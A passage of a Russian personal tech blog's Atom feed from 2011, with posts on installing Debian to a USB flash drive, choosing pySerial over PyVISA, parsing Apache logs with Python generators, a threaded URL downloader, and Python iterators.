type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Сегодня я закоспектирую тут, как правильно ставить НЕ live дистрибутив Linux на флешку, в моем случае Debian, а то я забываю некоторые моменты и парюсь с этим каждый раз. =\&lt;br /&gt;&lt;br /&gt;Итак, всё начинается с форматирования флешки с помощью &lt;b&gt;fdisk&lt;/b&gt; и &lt;b&gt;mkfs&lt;/b&gt;. Я ставлю ФС ext2, потому что там нет журналирования, а с журналом флешка быстро загнется. Можно воспользоваться и ext3/4 с отключенным журналом, но это дополнительный гемор. Кстати, рекомедую раздел создавать именованый, потом станет понятно зачем:&lt;br /&gt;&lt;b&gt;# mkfs.ext2 -L TRANSCEND /dev/sdc1&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Монтируем флешку:&lt;br /&gt;&lt;b&gt;# mount /dev/sdc1 /mnt&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Ставим туда базовую систему:&lt;br /&gt;&lt;b&gt;# debootstrap --arch i386 lenny /mnt&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Для Debian есть специальная утилита &lt;b&gt;debootstrap&lt;/b&gt;, для других дистров может и нет, но можно и вручную залить туда из образа, например. После установки чрутимся в нашу новую системку:&lt;br /&gt;&lt;b&gt;# chroot /mnt /bin/bash&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;В этой системе уже можем делать что-нибудь, ставить пакеты например, но для начала надо апдейтнуть список, чтобы APT не ругался на не подписанные пакеты. Ну и сразу поставим GRUB и ядро:&lt;br /&gt;&lt;b&gt;# apt-get update&lt;/b&gt;&lt;br /&gt;&lt;b&gt;# apt-get install linux-image-2.6-686 grub&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Пишем в &lt;b&gt;/etc/fstab&lt;/b&gt; такую инфу, чтобы все правильно монтировалось:&lt;br /&gt;&lt;blockquote&gt;&lt;i&gt;LABEL=TRANSCEND /         ext2  defaults,errors=remount-ro,noatime           0 1&lt;/i&gt;&lt;br /&gt;&lt;i&gt;proc           /proc     proc  defaults                                     0 0&lt;/i&gt;&lt;br /&gt;&lt;i&gt;tmpfs          /tmp      tmpfs defaults,noatime                             0 0&lt;/i&gt;&lt;br /&gt;&lt;i&gt;tmpfs          /var/lock tmpfs defaults,noatime                             0 0&lt;/i&gt;&lt;br /&gt;&lt;i&gt;tmpfs          /var/log  tmpfs defaults,noatime                             0 0&lt;/i&gt;&lt;br /&gt;&lt;i&gt;tmpfs          /var/run  tmpfs defaults,noatime                             0 0&lt;/i&gt;&lt;br /&gt;&lt;i&gt;tmpfs          /var/tmp  tmpfs defaults,noatime                             0 0&lt;/i&gt;&lt;/blockquote&gt;И после этого начинается самая шляпа - надо сделать флешку загрузочной. Из основной системы ставим GRUB в MBR флешки:&lt;br /&gt;&lt;b&gt;# grub-install --root-directory=/mnt /dev/sdc&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;И можно уже попробовать загрузиться, НО! Проблема в том ,что Lenny использует GRUB 0.**, а все более-менее современные системы - GRUB 1.**, а они смотрят конфиги в разных местах, &lt;b&gt;/boot/grub/menu.lst&lt;/b&gt; и &lt;b&gt;/boot/grub/grub.cfg&lt;/b&gt; соотвественно. Грузимся через QEMU:&lt;br /&gt;&lt;b&gt;# qemu -hda /dev/sdc&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Получаем консоль граба, который не нашел конфиг, вводим туда такие фразы:&lt;br /&gt;&lt;b&gt;set root=(hd0,msdos1)&lt;/b&gt;&lt;br /&gt;&lt;b&gt;linux /vmlinuz root=LABEL=TRANSCEND&lt;/b&gt;&lt;br /&gt;&lt;b&gt;initrd /initrd.img&lt;/b&gt;&lt;br /&gt;&lt;b&gt;boot&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Все! Система загружается. Дальше логинимся под рутом без пароля и ставим нужный GRUB в MBR:&lt;br /&gt;&lt;b&gt;# update-grub&lt;/b&gt;&lt;br /&gt;&lt;b&gt;# grub-install /dev/hda&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Последний момент, надо в /boot/grub/menu.lst задать корень через метку флешки, потому что на разных компах файлы устройства флешки могут различаться:&lt;br /&gt;&lt;br /&gt;&lt;b&gt;kernel      /boot/vmlinuz-2.6.22-3-686 root=LABEL=TRANSCEND ro&lt;/b&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/740530141676091465-1177133987050243594?l=ivinside.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ivinside.blogspot.com/feeds/1177133987050243594/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ivinside.blogspot.com/2011/07/linux.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/740530141676091465/posts/default/1177133987050243594'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/740530141676091465/posts/default/1177133987050243594'/><link rel='alternate' type='text/html' href='http://ivinside.blogspot.com/2011/07/linux.html' title='Установка Linux на долбаную флешку'/><author><name>iv</name><uri>http://www.blogger.com/profile/06526424784813687531</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-740530141676091465.post-7298943949615978484</id><published>2011-06-26T16:02:00.000-07:00</published><updated>2011-06-26T16:02:23.491-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='python'/><title type='text'>Работа с COM портом в python: PyVISA или pySerial?</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Для питона существует два модуля для работы с последовательными портами, я бы однозначно рекомендовал pySerial по нескольким причинам:&lt;br /&gt;&lt;br /&gt;1. PyVISA сложен в установке, нужно дополнительно устанавливать библиотеку nivisa.&lt;br /&gt;2. PyVISA не видит эмулированный через USB последовательный порт (т.е. переходник USB-&amp;gt;COM).&lt;br /&gt;3. В PyVISA нельзя задавать порт напрямую через файл устройства, например, в случае переходника USB-&amp;gt;COM это будет /dev/ttyUSB0.&lt;br /&gt;&lt;br /&gt;PySerial всех этих недостатков лишен, при этом очень прост в использовании. При работе с последовательным портом не надо забывать выставить одинаковые настойки на компе и собственно устройстве, в особенности это касается скорости передачи и бита четности. Все настройки могут задаваться при создании экземпляра объекта Serial или после через атрибуты.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://pyserial.sourceforge.net/pyserial_api.html"&gt;Страница документации&lt;/a&gt;.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/740530141676091465-7298943949615978484?l=ivinside.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ivinside.blogspot.com/feeds/7298943949615978484/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ivinside.blogspot.com/2011/06/com-python-pyvisa-pyserial.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/740530141676091465/posts/default/7298943949615978484'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/740530141676091465/posts/default/7298943949615978484'/><link rel='alternate' type='text/html' href='http://ivinside.blogspot.com/2011/06/com-python-pyvisa-pyserial.html' title='Работа с COM портом в python: PyVISA или pySerial?'/><author><name>iv</name><uri>http://www.blogger.com/profile/06526424784813687531</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-740530141676091465.post-7296060421754596936</id><published>2011-05-29T18:20:00.000-07:00</published><updated>2011-05-29T18:20:14.528-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='python'/><category scheme='http://www.blogger.com/atom/ns#' term='apache'/><title type='text'>Парсим логи при помощи генераторов - 2</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Дано: сотни логов веб-сервера, разбросанные по разным директориям. Возможно, заархивированные.&lt;br /&gt;Требуется: понять сколько байтов было передано :)&lt;br /&gt;&lt;br /&gt;В питоне есть замечательная функция os.walk(), позволяющая блуждать по файловой системе:&lt;br /&gt;&lt;br /&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;import os&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;for path, dirlist, filelist in os.walk(topdir):&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; # path : текущая директория&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; # dirlist : список поддиректорий&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; # filelist : список файлов&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; ...&lt;/div&gt;&lt;br /&gt;Для достижения цели потребуется создать несколько функций:&lt;br /&gt;1. Функция-генератор, возвращающая список файлов по заданному шаблону:&lt;br /&gt;&lt;br /&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;import os&lt;br /&gt;import fnmatch&lt;br /&gt;&amp;nbsp;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;def gen_find(filepat,top):&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; for path, dirlist, filelist in os.walk(top):&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; for name in fnmatch.filter(filelist, filepat):&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yield os.path.join(path, name)&lt;/div&gt;&lt;br /&gt;Примеры использования:&lt;br /&gt;&lt;br /&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;pyfiles = gen_find('*.py', '/')&lt;br /&gt;logs = gen_find('access-log*', '/usr/www/')&lt;/div&gt;&lt;br /&gt;2. Функция-генератор, которая принимает список файлов, и, если среди них есть архивы, то возвращает распакованные файлы. Если файл не архив, то просто открывает его:&lt;br /&gt;&lt;br /&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;import gzip&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;import bz2&lt;br /&gt;&amp;nbsp;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;def gen_open(filenames):&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; for name in filenames:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if name.endswith(".gz"):&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yield gzip.open(name)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; elif name.endswith(".bz2"):&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yield bz2.BZ2File(name)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; else:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yield open(name)&lt;/div&gt;&lt;br /&gt;3. Функция (разумеется генератор), которая возвращает единую последовательность результатов, принимая при этом несколько последовательностей (в нашем случае передаем открытые файлы, а получаем последовательность строк):&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;def gen_cat(sources):&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; for s in sources:&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; for item in s:&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yield item&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Ну вот, после реализации всех этих функций осталось только немного подправить прошлый исходник, чтобы он теперь работал с любым количеством файлов:&lt;br /&gt;&lt;br /&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;filenames = gen_find('access-log*', '/usr/www')&lt;br /&gt;logfiles = gen_open(filenames)&lt;br /&gt;loglines = gen_cat(logfiles)&lt;br /&gt;bytecolumn = (line.rsplit(None, 1)[1] for line in loglines)&lt;br /&gt;bytes = (int(x) for x in bytecolumn if x != '-')&lt;br /&gt;print "Total", sum(bytes)&lt;/div&gt;&lt;br /&gt;Особые эстеты могут свернуть этот исходник вплоть до 1 строчки, благодаря тому факту, что в питоне все функции - высшего порядка.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/740530141676091465-7296060421754596936?l=ivinside.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ivinside.blogspot.com/feeds/7296060421754596936/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ivinside.blogspot.com/2011/05/2.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/740530141676091465/posts/default/7296060421754596936'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/740530141676091465/posts/default/7296060421754596936'/><link rel='alternate' type='text/html' href='http://ivinside.blogspot.com/2011/05/2.html' title='Парсим логи при помощи генераторов - 2'/><author><name>iv</name><uri>http://www.blogger.com/profile/06526424784813687531</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-740530141676091465.post-7078046900340071521</id><published>2011-05-29T16:10:00.000-07:00</published><updated>2011-05-29T16:10:58.015-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='python'/><category scheme='http://www.blogger.com/atom/ns#' term='apache'/><title type='text'>Парсим логи при помощи генераторов</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Задача: понять по логам Apache сколько байтов мы передали.&lt;br /&gt;NB: файлы мб большие (несколько гигов).&lt;br /&gt;&lt;br /&gt;Формат логов примерно следуюший:&lt;br /&gt;&lt;br /&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;217.168.25.4 - - [28/May/2011:14:06:27 +0400] "GET / HTTP/1.0 200 8509&lt;/div&gt;&lt;br /&gt;Надо получать из каждой строки последнюю циферку, при этом если ничего не передавалось в запросе (например, произошла ошибка), то вместо циферки будет дефис. Как и в прошлый раз предлагаю два варианта: быдлокодерский и православный. Итак, номер один, без использования генератора:&lt;br /&gt;&lt;br /&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;wwwlog = open("access-log")&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;total = 0&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;for line in wwwlog:&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; bytestr = line.rsplit(None,1)[1]&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; if bytestr != '-':&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; total += int(bytestr)&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;print "Total", total&lt;/div&gt;&lt;br /&gt;И, с генератором:&lt;br /&gt;&lt;br /&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;wwwlog = open("access-log")&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;bytecolumn = (line.rsplit(None,1)[1] for line in wwwlog)&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;bytes = (int(x) for x in bytecolumn if x != '-')&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;print "Total", sum(bytes)&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;span style="font-family: inherit;"&gt;Выглядит компактнее, не правда ли? В данном случае используется выражение-генератор, эдакий "цикл for наоборот", который выдает кортеж из результатов&lt;/span&gt;, суммирующийся далее.&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/740530141676091465-7078046900340071521?l=ivinside.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ivinside.blogspot.com/feeds/7078046900340071521/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ivinside.blogspot.com/2011/05/blog-post_29.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/740530141676091465/posts/default/7078046900340071521'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/740530141676091465/posts/default/7078046900340071521'/><link rel='alternate' type='text/html' href='http://ivinside.blogspot.com/2011/05/blog-post_29.html' title='Парсим логи при помощи генераторов'/><author><name>iv</name><uri>http://www.blogger.com/profile/06526424784813687531</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-740530141676091465.post-5592333221946049261</id><published>2011-05-18T07:22:00.000-07:00</published><updated>2011-05-18T07:22:57.311-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='urllib2'/><category scheme='http://www.blogger.com/atom/ns#' term='python'/><title type='text'>Скрипт для скачивания содержимого по ссылкам</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Тестовое задание в одной конторе (не будем называть пальцем):&lt;br /&gt;&lt;br /&gt;&lt;i&gt;Напишите скрипт, который будет считывать список URL из файла (одна строка - один URL), скачивать их не более чем в N потоков и сохранять каждую страницу в отдельный файл. N задается аргументом командной строки и по умолчанию равно 10. Имена результирующих файлов значения&lt;/i&gt;&lt;br /&gt;&lt;i&gt;не имеют.&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;/span&gt;&lt;span style="font-family: inherit;"&gt;import sys&lt;/span&gt;&lt;br style="font-family: inherit;" /&gt;&lt;span style="font-family: inherit;"&gt;import threading&lt;/span&gt;&lt;br style="font-family: inherit;" /&gt;&lt;span style="font-family: inherit;"&gt;import Queue&lt;/span&gt;&lt;br style="font-family: inherit;" /&gt;&lt;span style="font-family: inherit;"&gt;import urllib2&lt;/span&gt;&lt;br style="font-family: inherit;" /&gt;&lt;br style="font-family: inherit;" /&gt;&lt;span style="font-family: inherit;"&gt;class DownloadThread(threading.Thread):&lt;/span&gt;&lt;br style="font-family: inherit;" /&gt;&lt;span style="font-family: inherit;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; def run(self):&lt;/span&gt;&lt;br style="font-family: inherit;" /&gt;&lt;span style="font-family: inherit;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; headers = {'User-Agent' : 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)'}&lt;/span&gt;&lt;br style="font-family: inherit;" /&gt;&lt;span style="font-family: inherit;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; while urlsPool.qsize() &amp;gt; 0:&lt;/span&gt;&lt;br style="font-family: inherit;" /&gt;&lt;span style="font-family: inherit;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; logfile = open(str(urlsPool.qsize()), 'w')&lt;/span&gt;&lt;br style="font-family: inherit;" /&gt;&lt;span style="font-family: inherit;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; req = urllib2.Request(urlsPool.get(), None, headers)&lt;/span&gt;&lt;br style="font-family: inherit;" /&gt;&lt;span style="font-family: inherit;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; logfile.write(urllib2.urlopen(req).read())&lt;/span&gt;&lt;br style="font-family: inherit;" /&gt;&lt;span style="font-family: inherit;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; logfile.close()&lt;/span&gt;&lt;br style="font-family: inherit;" /&gt;&lt;br style="font-family: inherit;" /&gt;&lt;span style="font-family: inherit;"&gt;if len(sys.argv) &amp;lt; 2:&lt;/span&gt;&lt;br style="font-family: inherit;" /&gt;&lt;span style="font-family: inherit;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; print 'Usage: downloader.py [-n &amp;lt;number&amp;gt;] FILE\n\&lt;/span&gt;&lt;br style="font-family: inherit;" /&gt;&lt;span style="font-family: inherit;"&gt;"-n &amp;lt;number&amp;gt;" - number of threads (default 10)'&lt;/span&gt;&lt;br style="font-family: inherit;" /&gt;&lt;span style="font-family: inherit;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; sys.exit(1)&lt;/span&gt;&lt;br style="font-family: inherit;" /&gt;&lt;span style="font-family: inherit;"&gt;if len(sys.argv) == 4 and sys.argv[1] == '-n':&lt;/span&gt;&lt;br style="font-family: inherit;" /&gt;&lt;span style="font-family: inherit;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; threads = int(sys.argv[2])&lt;/span&gt;&lt;br style="font-family: inherit;" /&gt;&lt;span style="font-family: inherit;"&gt;else:&lt;/span&gt;&lt;br style="font-family: inherit;" /&gt;&lt;span style="font-family: inherit;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; threads = 10&lt;/span&gt;&lt;br style="font-family: inherit;" /&gt;&lt;span style="font-family: inherit;"&gt;urlsPool = Queue.Queue(0)&lt;/span&gt;&lt;br style="font-family: inherit;" /&gt;&lt;span style="font-family: inherit;"&gt;for url in open(sys.argv[-1]):&lt;/span&gt;&lt;br style="font-family: inherit;" /&gt;&lt;span style="font-family: inherit;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; urlsPool.put(url)&lt;/span&gt;&lt;br style="font-family: inherit;" /&gt;&lt;span style="font-family: inherit;"&gt;for x in xrange(threads):&lt;/span&gt;&lt;br style="font-family: inherit;" /&gt;&lt;span style="font-family: inherit;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; DownloadThread().start()&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/740530141676091465-5592333221946049261?l=ivinside.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ivinside.blogspot.com/feeds/5592333221946049261/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ivinside.blogspot.com/2011/05/blog-post_18.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/740530141676091465/posts/default/5592333221946049261'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/740530141676091465/posts/default/5592333221946049261'/><link rel='alternate' type='text/html' href='http://ivinside.blogspot.com/2011/05/blog-post_18.html' title='Скрипт для скачивания содержимого по ссылкам'/><author><name>iv</name><uri>http://www.blogger.com/profile/06526424784813687531</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-740530141676091465.post-4653715700935982204</id><published>2011-05-18T07:07:00.000-07:00</published><updated>2011-05-18T07:07:40.719-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='python'/><title type='text'>Немного про итераторы в питоне</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;В рамках акции по избавлению своих программ на питоне от быдлокода, я, как бывший программист на Си, открыл для себя много занимательных вещей. Сегодня немного про итераторы - объекты, которые позволяют программисту перебирать значения. Технически это реализуется с помощью метода next, который при каждом вызове возвращает следующий элемент коллекции. Например, так прочитает содержимое файла бывший быдлопрогаммист на Си:&lt;br /&gt;&lt;br /&gt;file = open('file.txt')&lt;br /&gt;while True:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; line = file.readline()&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; if not line: break&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; print line&lt;br /&gt;&lt;br /&gt;А так это сделает грамотный питонер (объект файла поддерживает итерационный протокол, который используется в цикле for):&lt;br /&gt;&lt;br /&gt;for line in open('file.txt')&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; print line&lt;br /&gt;&lt;br /&gt;Здесь циклом for неявно вызывается метод next и в конце обрабатывается исключение StopIteration, открытие файла также происходит неявно, поэтому можно избежать проблем с памятью при работе с большими файлами.&lt;br /&gt;&lt;br /&gt;У словарей тоже есть итератор! Так можно выполнить обход всех ключей словаря:&lt;br /&gt;&lt;br /&gt;D = {'a' : 1, 'b' : 2, 'c' : 3}&lt;br /&gt;for key in D:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; print key, D[key]&lt;br /&gt;&lt;br /&gt;Итераторы в строках тоже могут быть весьма полезны. Следующий код получает и выводит на экран каждый 2 символ строки S (ещё здесь используется срез с третьим параметром, про который многие забывают):&lt;br /&gt;&lt;br /&gt;for x in S[::2]:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; print x&lt;br /&gt;&lt;br /&gt;Соотвествующий быдлокод, который к тому же работает медленнее, т.к. при каждом проходе цикла осуществляется доступ к объекту строки:&lt;br /&gt;&lt;br /&gt;for i in range(0, len(S), 2):&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; print S[i]&lt;br /&gt;&lt;br /&gt;В целом в питоне любая коллекция поддерживает итерационный протокол, и его использование в коде не только способствует его компактности, но и благотворно отражается на скорости программы.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/740530141676091465-4653715700935982204?l=ivinside.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ivinside.blogspot.com/feeds/4653715700935982204/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ivinside.blogspot.com/2011/05/blog-post.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' 